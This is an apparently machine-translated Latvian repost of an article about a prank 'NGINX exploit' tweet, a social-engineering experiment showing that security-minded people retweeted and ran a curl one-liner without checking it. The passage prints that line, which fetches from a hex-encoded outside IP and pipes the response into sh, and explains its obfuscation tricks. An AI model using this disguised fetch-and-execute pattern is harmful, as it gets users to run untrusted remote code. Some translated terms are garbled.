Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu

PiezÄ«me. tulk.: Autors oriÄ£inālajā piezÄ«mē, kas publicēta 1. jÅ«nijā, nolēma veikt eksperimentu informācijas droŔības interesentu vidÅ«. Lai to izdarÄ«tu, viņŔ sagatavoja viltotu izmantoÅ”anu neatklātai tÄ«mekļa servera ievainojamÄ«bai un ievietoja to savā Twitter. Viņa pieņēmumi ā€“ uzreiz tikt atmaskoti no speciālistiem, kuri saskatÄ«tu kodā acÄ«mredzamo maldināŔanu ā€“ ne tikai nepiepildÄ«jās... Tie pārspēja visas cerÄ«bas, turklāt pretējā virzienā: tvÄ«ts saņēma milzÄ«gu atbalstu no neskaitāmiem cilvēkiem, kuri to nedarÄ«ja. pārbaudiet tā saturu.

Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu

TL;DR: nekādā gadījumā neizmantojiet failu konveijeru sh vai bash. Tas ir lielisks veids, kā zaudēt kontroli pār datoru.

Es vēlos dalÄ«ties ar jums Ä«su stāstu par komisku PoC izmantoÅ”anu, kas tika izveidots 31. maijā. ViņŔ nekavējoties parādÄ«jās, reaģējot uz ziņām no Alisa Esage Å evčenko, biedrs Nulles dienas iniciatÄ«va (ZDI), drÄ«zumā tiks atklāta informācija par NGINX ievainojamÄ«bu, kas noved pie RCE (attālās koda izpildes). Tā kā NGINX darbojas daudzās vietnēs, ziņām noteikti bija sprādziens. Taču ā€œatbildÄ«gas izpauÅ”anasā€ procesa aizkavÄ“Å”anās dēļ notikuŔā informācija nebija zināma ā€“ tā ir standarta ZDI procedÅ«ra.

Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu
čivināt par ievainojamības atklāŔanu NGINX

Pabeidzis darbu pie jaunas apmulsināŔanas tehnikas lokā, es citēju oriÄ£inālo tvÄ«tu un ā€œnoplÅ«du strādājoÅ”u PoCā€, kas sastāv no vienas koda rindiņas, kas it kā izmanto atklāto ievainojamÄ«bu. Protams, tas bija pilnÄ«gs absurds. Pieņēmu, ka uzreiz tikÅ”u atmaskota, un labākajā gadÄ«jumā dabÅ«Å”u pāris retvÄ«tus (o labi).

Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu
čivināt ar viltus izmantoŔanu

Tomēr es nevarēju iedomāties, kas notika tālāk. Mana tvÄ«ta popularitāte strauji pieauga. PārsteidzoÅ”i, ka Å”obrÄ«d (15:00 pēc Maskavas laika, 1. jÅ«nijā) daži cilvēki ir sapratuÅ”i, ka tas ir viltojums. Daudzi cilvēki to retvÄ«to, to nemaz nepārbaudot (nemaz nerunājot par skaisto ASCII grafiku, ko tas izvada).

Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu
Paskatieties, cik tas ir skaisti!

Lai gan visas Ŕīs cilpas un krāsas ir lieliskas, ir skaidrs, ka cilvēkiem bija jāpalaiž savā datorā kods, lai tos redzētu. Par laimi, pārlÅ«kprogrammas darbojas tāpat, un apvienojumā ar faktu, ka es Ä«sti nevēlējos iekļūt juridiskās nepatikÅ”anās, manā vietnē apraktais kods tikai veica atbalss zvanus, nemēģinot instalēt vai izpildÄ«t papildu kodu.

Neliela novirze: netspooky, DNZ, es un citi puiÅ”i no komandas Thugcrowd Mēs jau kādu laiku esam spēlējuÅ”i ar dažādiem veidiem, kā aptumÅ”ot čokuroÅ”anās komandas, jo tas ir forÅ”i... un mēs esam gÄ«ki. netspooky un dnz atklāja vairākas jaunas metodes, kas man Ŕķita ārkārtÄ«gi daudzsoloÅ”as. Es pievienojos jautrÄ«bai un mēģināju triku somai pievienot IP decimāldaļas reklāmguvumus. Izrādās, ka IP var arÄ« pārvērst heksadecimālā formātā. Turklāt čokuroÅ”anās un vairums citu NIX rÄ«ku ar prieku ēd heksadecimālo IP! Tātad bija tikai jāizveido pārliecinoÅ”a un droÅ”a izskata komandrinda. Galu galā es pieņēmu Å”o:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sociāli elektroniskā inženierija (SEE) ā€” vairāk nekā tikai pikŔķerÄ“Å”ana

DroŔība un zināŔanas bija Ŕī eksperimenta galvenā sastāvdaļa. Es domāju, ka tie ir tie, kas noveda pie viņa panākumiem. Komandrinda skaidri norādÄ«ja uz droŔību, atsaucoties uz "127.0.0.1" (labi zināms localhost). Localhost tiek uzskatÄ«ts par droÅ”u, un tajā esoÅ”ie dati nekad neatstāj jÅ«su datoru.

IepazÄ«Å”anās bija otra galvenā SEE sastāvdaļa eksperimentā. Tā kā mērÄ·auditorija galvenokārt sastāvēja no cilvēkiem, kuri pārzina datoru droŔības pamatus, bija svarÄ«gi izveidot kodu tā, lai tā daļas liktos pazÄ«stamas un pazÄ«stamas (un lÄ«dz ar to droÅ”as). Veco ekspluatācijas koncepciju elementu aizņemÅ”anās un neparastā apvienoÅ”ana ir izrādÄ«jusies ļoti veiksmÄ«ga.

Tālāk ir sniegta detalizēta viena starplikas analÄ«ze. Viss Å”ajā sarakstā valkā kosmētiskais raksturs, un tā faktiskai darbÄ«bai praktiski nekas nav vajadzÄ«gs.

Kādi komponenti patieŔām ir nepiecieÅ”ami? Å is -gsS, -O 0x0238f06a, |sh un pats tÄ«mekļa serveris. TÄ«mekļa serveris nesaturēja nekādus ļaunprātÄ«gus norādÄ«jumus, bet vienkārÅ”i apkalpoja ASCII grafiku, izmantojot komandas echo ietvertajā skriptā index.html. Kad lietotājs ievadÄ«ja rindiņu ar |sh vidÅ«, index.html ielādēts un izpildÄ«ts. Par laimi, tÄ«mekļa servera glabātājiem nebija ļaunu nodomu.

  • ../../../%00 ā€” attēlo, kas pārsniedz direktoriju;
  • ngx_stream_module.so ā€” ceļŔ uz nejauÅ”u NGINX moduli;
  • /bin/sh%00<'protocol:TCP' - mēs it kā palaižam /bin/sh mērÄ·a maŔīnā un novirzÄ«t izvadi uz TCP kanālu;
  • -O 0x0238f06a#PLToffset - slepena sastāvdaļa, papildināta #PLToffset, lai izskatās kā atmiņas nobÄ«de, kas kaut kādā veidā ietverta PLT;
  • |sh; - vēl viens svarÄ«gs fragments. Mums vajadzēja novirzÄ«t izvadi uz sh/bash, lai izpildÄ«tu kodu, kas nāk no uzbrÅ«koŔā tÄ«mekļa servera, kas atrodas 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - manekens, uz kuru attiecas netcat /dev/tcp/localhostlai viss atkal izskatās droÅ”i. PatiesÄ«bā tas neko nedara un ir iekļauts skaistuma rindā.

Ar to tiek pabeigta vienas rindas skripta atÅ”ifrÄ“Å”ana un diskusija par ā€œsociāli elektroniskās inženierijasā€ (sarežģītas pikŔķerÄ“Å”anas) aspektiem.

Web servera konfigurācija un pretpasākumi

Tā kā lielākā daļa manu abonentu ir infosec/hakeri, es nolēmu padarÄ«t tÄ«mekļa serveri nedaudz izturÄ«gāku pret viņu ā€œinteresesā€ izpausmēm, lai puiÅ”iem bÅ«tu ko darÄ«t (un tas bÅ«tu jautri uzstādÄ«t). Es Å”eit neuzskaitÄ«Å”u visas nepilnÄ«bas, jo eksperiments joprojām turpinās, taču Å”eit ir dažas lietas, ko serveris dara:

  • AktÄ«vi uzrauga izplatÄ«Å”anas mēģinājumus noteiktos sociālajos tÄ«klos un aizstāj dažādus priekÅ”skatÄ«juma sÄ«ktēlus, lai mudinātu lietotāju noklikŔķināt uz saites.
  • Tā vietā, lai rādÄ«tu čaulas skriptu, tiek novirzÄ«ts pārlÅ«ks Chrome/Mozilla/Safari/u.c. uz Thugcrowd reklāmas videoklipu.
  • Novēro, vai nav APKLĀJAMĀS ielauÅ”anās/neskaidra uzlauÅ”anas pazÄ«mju, un pēc tam sāk pāradresēt pieprasÄ«jumus uz NSA serveriem (ha!).
  • Instalē Trojas zirgu, kā arÄ« BIOS saknes komplektu visos datoros, kuru lietotāji apmeklē saimniekdatoru no parastās pārlÅ«kprogrammas (joks!).

Sociālā eksperimenta panākumi ar viltotu nginx izmantoŔanu
Neliela daļa antimēru

Å ajā gadÄ«jumā mans vienÄ«gais mērÄ·is bija apgÅ«t dažas Apache funkcijas, jo Ä«paÅ”i forÅ”os pieprasÄ«jumu pāradresācijas noteikumus, un es domāju: kāpēc gan ne?

NGINX Exploit (Ä«sts!)

Abonēt @alisaesage Twitter un sekojiet lÄ«dzi ZDI lieliskajam darbam, novērÅ”ot ļoti reālas ievainojamÄ«bas un izmantojot iespējas NGINX. Viņu darbs mani vienmēr ir fascinējis, un es esmu pateicÄ«gs Alisei par viņas pacietÄ«bu ar visiem pieminējumiem un paziņojumiem, ko izraisÄ«ja mans muļķīgais tvÄ«ts. Par laimi, tas arÄ« sniedza zināmu labumu: tas palÄ«dzēja palielināt izpratni par NGINX ievainojamÄ«bām, kā arÄ« problēmām, ko izraisÄ«ja čokuroÅ”anās ļaunprātÄ«ga izmantoÅ”ana.

Avots: www.habr.com

Pievieno komentāru